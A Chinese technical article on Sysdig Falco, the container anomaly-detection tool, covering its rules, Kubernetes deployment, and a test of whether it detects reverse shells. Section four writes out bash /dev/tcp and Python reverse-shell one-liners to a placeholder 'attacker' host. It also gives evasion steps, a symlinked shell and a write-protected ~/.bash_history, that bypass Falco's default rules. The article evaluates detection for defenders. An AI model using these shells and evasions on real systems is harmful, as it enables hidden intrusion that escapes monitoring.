探索Sysdig Falco:容器環境下的異常行為檢測工具

  • 2019 年 12 月 11 日
  • 筆記

隨著容器技術的興起,容器運行時的安全監控也成為各方關注的焦點。在各行各業積極上雲的今天,如何及時準確發現容器環境內部的安全威脅並進行告警和處置,是容器平台開發運維和應急響應團隊必須考慮的問題。Falco作為一款為雲原生平台設計的進程異常行為檢測工具,支援接入系統調用事件和Kubernetes審計日誌,與其他工具相比具有獨特優勢,能夠在前述問題上帶給我們很多有益思考。本文希望通過兩個場景來探索Falco的特性。

1. Falco簡介

1什麼是Falco?

Falco是一款由Sysdig開源的進程異常行為檢測工具。它既能夠檢測傳統主機上的應用程式,也能夠檢測容器環境和雲平台(主要是Kubernetes和Mesos)。

它能夠檢測所有涉及系統調用的進程行為。例如:

• 某容器中啟動了一個shell

• 某服務進程創建了一個非預期類型的子進程

• /etc/shadow文件被讀寫

• /dev目錄下創建了一個非設備文件

• ls之類的常規系統工具向外進行了對外網路通訊

此外,其還可以檢測雲環境下的特有行為。例如:

• 創建了帶有特權容器、掛載敏感路徑或使用了宿主機網路的Pod

• 向用戶授予大範圍許可權(例如cluster-admin)

• 創建了帶有敏感資訊的configmap

那麼,Falco與傳統的主機安全檢測工具有什麼不同呢?

1. Falco主要依賴於底層Sysdig內核模組提供的系統調用事件流,與用戶態工具通過定時取樣或輪詢方式實現的離散式監控不同,它提供的是一種連續式實時監控功能;

2.與工作在內核層進行系統調用捕獲、過濾和監控的工具相比,Falco自身運行在用戶空間,僅僅藉助內核模組來獲得數據,Falco的規則變更和程式起止要更為靈活;

3.與其他既工作內核層又提供用戶空間介面的工具相比,Falco具有非常易學的規則語法(可以與SELinux的規法對比)和對雲環境的支援。

Falco採用C++語言編寫,但它提供了豐富的告警輸出方式(後面會提到),因此能夠非常方便地與其他工具協同工作。

2程式架構

在進入細節之前,我們希望給出一個「俯瞰」視角,以幫助您建立一個關於Falco的整體概念。

總體來講,Falco是一個基於規則的進程異常行為檢測工具,它目前支援的事件源有兩種:

• Sysdig內核模組

• Kubernetes審計日誌

其中,Sysdig內核模組提供的是整個宿主機上的實時系統調用事件資訊,是Falco依賴的核心事件源。

另外,Falco支援五種輸出告警的方式:

• 輸出到標準輸出

• 輸出到文件

• 輸出到Syslog

• 輸出到HTTP服務

• 輸出到其他程式(命令行管道方式)

值得一提的是,最後兩種方式使得我們能夠很容易將Falco與其他組件或框架組合起來。

下圖展示了它的基本架構:

其中,紫色模組為Falco目前支援的輸入事件源,綠色模組為目前支援的輸出方式,藍色模組即Falco用戶態程式。

3工作原理

Falco採用類似於iptables的規則匹配方式來檢測異常。它自帶了一份規則文件/etc/falco/falco_rules.yaml 供使用,我們也可以將自己定義的規則放在/etc/falco/falco_rules.local.yaml文件中。

它的異常檢測流程是直觀的。以系統調用為例:Sysdig內核模組首先載入,用戶態的Falco運行後讀取並解析本地配置文件和規則文件、初始化規則引擎;一旦有進程做了系統調用,內核模組將捕獲到這次調用,並把詳細資訊傳給Falco,Falco對這些資訊作規則匹配,如果滿足規則就通過約定好的方式輸出告警。上述工作流程可以表示如下:

4規則介紹

Falco的規則使用 YAML 描述,一個規則文件(如 /etc/falco/falco_rules.yaml)包含三類元素:

• 規則:一條規則是描述「在什麼條件下生成什麼樣的告警」的規定

• 宏:這裡宏的意義與C語言中的基本相同,它是一些「判定條件片段」,能夠在不同的規則甚至宏中復用

• 列表:即元素集合,能夠被規則、宏或者其他列表使用

從層次上來說,基礎條件表達式、列表和宏一起構成規則,規則是最直接被Falco用來判斷某一行為是否異常的依賴標準。

一條規則至少由以下必需項構成:規則名、條件、描述文字、輸出資訊和優先順序。

下面是一個規則示例:

- rule: Terminal shell in container # 規則名:必須是獨一無二的名稱    desc: A shell was used as the entrypoint/exec point into a container with an attached terminal. # 描述文字:對規則的詳細說明    condition: > # 條件:用來篩選事件的過濾表達式(Falco採用Sysdig的過濾語法)      spawned_process and container      and shell_procs and proc.tty != 0      and container_entrypoint    output: > # 輸出資訊:與規則匹配的事件發生時,輸出的告警資訊      A shell was spawned in a container with an attached terminal (user=%user.name %container.info      shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)    priority: NOTICE # 優先順序:表示該事件嚴重程度,是一個枚舉項,枚舉範圍為['emergency', 'alert', 'critical', 'error', 'warning', 'notice', 'informational', 'debug']    tags: [container, shell, mitre_execution]  

毫無疑問,一條規則的核心是「條件」,它決定了一個事件是否應該被視作異常行為。在後面幾節中,我們將接觸並深入分析一些規則。

更詳細的資訊請參考官方文檔。

二、部署方法

Falco能夠直接部署在物理主機上,也能夠以容器方式部署,還能以DaemonSet部署在Kubernetes集群中。

在這裡,我們給出手動以DaemonSet方式在Kubernetes集群上部署Falco的過程,其他部署方法可以參考官方文檔。

1安裝內核頭文件

前面提到,Falco依賴於Sysdig內核模組。因此,我們需要在Kubernetes集群的每個節點上安裝內核頭文件:

sudo apt-get install linux-headers-$(uname -r)

(註:筆者的Kubernetes測試環境節點使用Ubuntu系統,其他Linux發行版使用等效命令安裝即可。)

2創建Kubernetes資源

獲取遠程倉庫:

git clone https://github.com/falcosecurity/falco/  cd falco/integrations/Kubernetes-using-daemonset

創建serviceaccount並提供必要的RABC許可權:

kubectl apply -f Kubernetes-with-rbac/falco-account.yaml

創建Falco服務(如果不需要Kubernetes審計日誌作為事件源,可以跳過此步驟):

kubectl apply -f Kubernetes-with-rbac/falco-service.yaml

創建ConfigMap來存儲Falco的配置,這樣一來我們即使更改配置也不必重新構建、部署pods:

mkdir -p Kubernetes-with-rbac/falco-config  cp ../../falco.yaml Kubernetes-with-rbac/falco-config/  cp ../../rules/falco_rules.* Kubernetes-with-rbac/falco-config/  cp ../../rules/Kubernetes_audit_rules.yaml Kubernetes-with-rbac/falco-config/  kubectl create configmap falco-config --from-file=Kubernetes-with-rbac/falco-config

創建DaemonSet:

kubectl apply -f Kubernetes-with-rbac/falco-daemonset-configmap.yaml  

3測試

獲取pod日誌:

kubectl logs -l app=falco-example

日誌顯示Falco已經正常運行:

* Trying to load a dkms falco-probe, if present  falco-probe found and loaded in dkms  Thu Sep 19 02:09:44 2019: Falco initialized with configuration file /etc/falco/falco.yaml  Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.yaml:  Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.local.yaml:  Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/Kubernetes_audit_rules.yaml:  Thu Sep 19 02:09:45 2019: Starting internal webserver, listening on port 8765  02:09:45.241612000: Notice Privileged container started (user=root command=container:0b07c858a9a0 Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0 image=falcosecurity/falco:0.17.0) Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0  

三、「Hello,world」之檢測容器內創建Shell

在部署完成後,Falco已經提供了一個現成的規則文件 /etc/falco/falco_rules.yaml 供我們使用。這裡我們藉助一個簡單的場景來體驗Falco的功能:容器中啟動一個shell,Falco檢測出這個異常行為。

1測試

測試環境是擁有兩個節點的Kubernetes,Falco以DaemonSet形式部署在上面:

首先,我們連接到某個Falco pod上(這裡我們連接到master節點上的pod):

kubectl attach falco-daemonset-77gct

Master節點上事先已經運行了一個ubuntu容器,現在我們嘗試在這個容器里打開一個shell:

docker exec -it b769 /bin/bash  

從下圖中可以看到,在shell打開的同時,Falco就給出了告警提示:

2規則分析

下面,我們來看一看這一切是如何發生的:

首先從 /etc/falco/falco_rules.yaml 中找到被觸發的檢測規則:

- rule: Terminal shell in container    desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.    condition: >      spawned_process and container      and shell_procs and proc.tty != 0      and container_entrypoint    output: >      A shell was spawned in a container with an attached terminal (user=%user.name %container.info      shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)    priority: NOTICE    tags: [container, shell, mitre_execution]  

上面規則中的條件如下:

  condition: >      spawned_process and container      and shell_procs and proc.tty != 0      and container_entrypoint  

其中,spawned_process、container 和 shell_procs 及 container_entrypoint 是四個宏,我們同樣可以在 /etc/falco/falco_rules.yaml 中找到它們:

- list: shell_binaries    items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]  - macro: spawned_process    condition: evt.type = execve and evt.dir=<  - macro: container    condition: (container.id != host)  - macro: shell_procs    condition: proc.name in (shell_binaries)  - macro: container_entrypoint    condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT], runc:[1:CHILD], runc, docker-runc, exe))  

綜合上述資訊,我們可以將該規則「翻譯」為如下語言:

如果一個事件指明「在某容器中」啟動了一個「新進程」,進程名是「常見shell的名稱」,分配「有終端」且角色為「容器入口進程」,那麼該事件被判定為notice級別的異常,一個告警將被輸出。

最終,我們得到這樣一個告警資訊:

03:04:49.103073119: Notice A shell was spawned in a container with an attached terminal (user=root Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87 shell=bash parent=runc cmdline=bash terminal=34817 container_id=b769d5606d87 image=ubuntu) Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87  

四、「Hello,world」之對抗反彈Shell

在做了以上初步嘗試後,筆者不滿足於這種簡單實驗,希望能夠在更有意義的場景下探索Falco,從而更好地體會它的優勢與不足。

我們知道,常見的攻擊往往從Web服務入手:攻擊者首先收集各種資訊,進行各種測試,然後藉助注入或文件上傳等手段拿到Webshell,接著通常會利用Webshell來反彈一個真正的shell(考慮到傳統內網防火牆攔進不攔出的特性,反彈shell要比監聽shell可用性更高)到自己控制的機器,最終利用這個shell進行許可權提升、橫向滲透、訪問維持和痕迹清理等後滲透階段的活動。

因此,「反彈shell」往往在整個攻擊過程中起到非常重要的作用。那麼,Falco能否用來檢測反彈shell的建立呢?

在第一節中,Falco現有規則已經能夠檢測到容器中入口進程執行shell的情況。其實我們只需要對該規則的條件做一點改動,就能夠實現本節的目的:

  condition: >      spawned_process and container      and shell_procs and proc.tty != 0  

具體而言,我們依然使用 /etc/falco/falco_rules.yaml 作為規則文件,只是刪去了其中「Terminal shell in container」這一規則的「shell必須作為容器入口進程」限制。

1第一次測試

現在來試一下!

為了方便調試,本節我們採用直接在master上安裝運行Falco的方式。我們將開啟三個終端窗口:

其中,右下方是Falco終端,用來在master上運行Falco;上方的是victim終端,用來模擬攻擊者建立反彈shell的操作;左下方是attacker終端,用來監聽反彈shell請求。

首先,我們在attacker終端中開啟監聽:

ncat -l -p 10000  

在falco終端啟動檢測:

falco  

接著,在victim終端創建常用的反彈shell:

bash -i >& /dev/tcp/attacker/10000 0>&1  

攻擊者在attacker終端成功獲得了反彈shell,然而,Falco終端給出了兩條告警:

告警分別為:

• 檢測到系統程式接收/發送了網路流量

• 檢測到容器內開啟了一個shell

2第一次繞過

好了,看來藉助Falco來檢測反彈shell至少是可行的。那麼,攻擊者是否能夠繞過上面的檢測呢?

我們來分析一下情況。

第一個告警在第一節中沒有出現過,但的確也是基於 /etc/falco/falco_rules.yaml 中的規則生成的:

- rule: System procs network activity    desc: any network activity performed by system binaries that are not expected to send or receive any network traffic    condition: >      (fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))      and (inbound_outbound)      and not proc.name in (systemd, hostid, id)      and not login_doing_dns_lookup    output: >      Known system binary sent/received network traffic      (user=%user.name command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)    priority: NOTICE    tags: [network, mitre_exfiltration]  

相關的宏和列表如下:

- macro: system_procs    condition: proc.name in (coreutils_binaries, user_mgmt_binaries)  - list: shell_binaries    items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]  - macro: inbound_outbound    condition: >      (((evt.type in (accept,listen,connect) and evt.dir=<)) or       (fd.typechar = 4 or fd.typechar = 6) and       (fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and       (evt.rawres >= 0 or evt.res = EINPROGRESS))  - list: coreutils_binaries    items: [      truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,      groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,      basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,      base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,      comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,      tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,      tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,      tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,      chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,      readlink, sleep, stty, mkdir, df, dir, rmdir, touch      ]  - list: user_mgmt_binaries    items: [login_binaries, passwd_binaries, shadowutils_binaries]  - list: login_binaries    items: [      login, systemd, '"(systemd)"', systemd-logind, su,      nologin, faillog, lastlog, newgrp, sg      ]  - list: passwd_binaries    items: [      shadowconfig, grpck, pwunconv, grpconv, pwck,      groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,      groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,      gpasswd, chfn, expiry, passwd, vigr, cpgr, adduser, addgroup, deluser, delgroup      ]  - list: shadowutils_binaries    items: [      chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,      groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,      newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd      ]  

仔細思考後發現,第一條規則的條件中比較容易突破的點是 (system_procs or proc.name in (shell_binaries)))。我們可以將上面的列表理解為黑名單,那麼如果要繞過第一條規則,只需要採用一種不在黑名單上的方式即可,例如藉助Python來建立反彈shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  

3第二次測試

執行上述命令,攻擊者再次獲得了shell,可以看到,告警也只有一條關於shell的了:

4第二次繞過

那麼,如何繞過剩下這個告警呢?思路是類似的,我們只需要使用黑名單之外的shell即可(上面的Python程式碼實質上調用了/bin/sh)。然而,規則文件中shell列表基本上把常見shell都包含進去了:[ash, bash, csh, ksh, sh, tcsh, zsh, dash],想再找出一個其他的shell,不太容易。因此,我們考慮別的思路。例如,可以嘗試軟鏈接的方式變相為shell改名(普通用戶許可權不能直接修改 /bin/sh 的文件名;另外,為了規避可能發生的動態鏈接問題我們也不藉助拷貝來實現改名,事實上這樣也是可行的):

ln -s /bin/bash /tmp/fake_bash  

將前面的反彈shell中的/bin/sh替換掉:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/tmp/fake_bash","-i"]);'  

5第三次測試

執行上述命令,攻擊者又獲得了shell ,而且這次Falco沒有任何告警:

6觸發隱藏劇情

雖然表面上看起來沒有任何告警被觸發,但是新的問題會出現:當攻擊者在反彈shell中執行過命令然後退出時,當前shell會自動向 ~/.bash_history 文件寫入執行過的命令歷史記錄,這個操作同樣會觸發告警:

我們看一下原因,同樣從 /etc/falco/falco_rules.yaml 文件中找到相應規則:

- rule: Modify Shell Configuration File    desc: Detect attempt to modify shell configuration files    condition: >      open_write and      (fd.filename in (shell_config_filenames) or       fd.name in (shell_config_files) or       fd.directory in (shell_config_directories)) and      not proc.name in (shell_binaries)    output: >      a shell configuration file has been modified (user=%user.name command=%proc.cmdline file=%fd.name container_id=%container.id image=%container.image.repository)    priority:      WARNING    tag: [file, mitre_persistence]  

邏輯很簡單,我們不再給出相應的宏和列表。原因也很簡單:~/.bash_history 一定是被監控的shell配置文件之一。

知道了原因,我們也有了繞過方案。一種比較取巧的方式是,直接限制用戶自己對 ~/.bash_history 文件的寫入:

chmod u-w ~/.bash_history  

先執行上述命令,再使用上面給出的Python+軟鏈接方式創建反彈shell,整個過程終於不再觸發任何告警:

五、總結

從前面實驗中的兩次繞過來看,似乎Falco的自帶規則並不十分準確。在實驗中,我們盡量減少對Falco自帶規則文件的修改,正是為了儘可能模擬真實場景,探索這麼做會帶來什麼問題。現實中,許多開發、運維人員常常不去修改默認配置或文件,認為配備了安全防護設施後就可以高枕無憂。然而,許多安全事故正是來自這些看似不起眼的地方。無論多麼先進的技術,只有融入到具體情況千差萬別的生產環境中,安全運營團隊持續地採用多種檢測手段交叉驗證、形成閉環,才能真正有效發揮作用。

另外,筆者認為,作為一種適用於雲環境的「無狀態」的「系統調用級別」實時異常行為檢測工具,Falco提供了穩定可信的原子異常事件序列,這已足夠。

誠然,我們可以根據具體生產環境的特點去構建更複雜、嚴格的檢測規則,使規則更難被繞過,但是隨著時間的推移和攻擊技術的發展,這樣的檢測規則勢必會陷入「過度擬合」的狀態,難於維護和進化,難免百密一疏。

也許,一個更優雅靈活的防護機制是,將Falco作為底層異常事件源,在其上應用異常檢測演算法構建出一套「有狀態」的異常檢測系統。這樣的系統能夠從異常事件序列中解讀出更高層次的攻擊行為,且易於維護和進化:在大部分情況下,我們只需要修改上層檢測模型,使之適應當前環境即可。

參考鏈接:

[1].Falco官方文檔

[2].SELinux, Seccomp, Sysdig Falco, and you: A technical discussion

拓展閱讀:

[1].How to identify malicious IP activity using Falco

[2].How to detect Kubernetes vulnerability CVE-2019-11246 using Falco.

[3].High Interaction Honeypots with Sysdig and Falco

內容編輯:星雲實驗室 阮博男 責任編輯:肖晴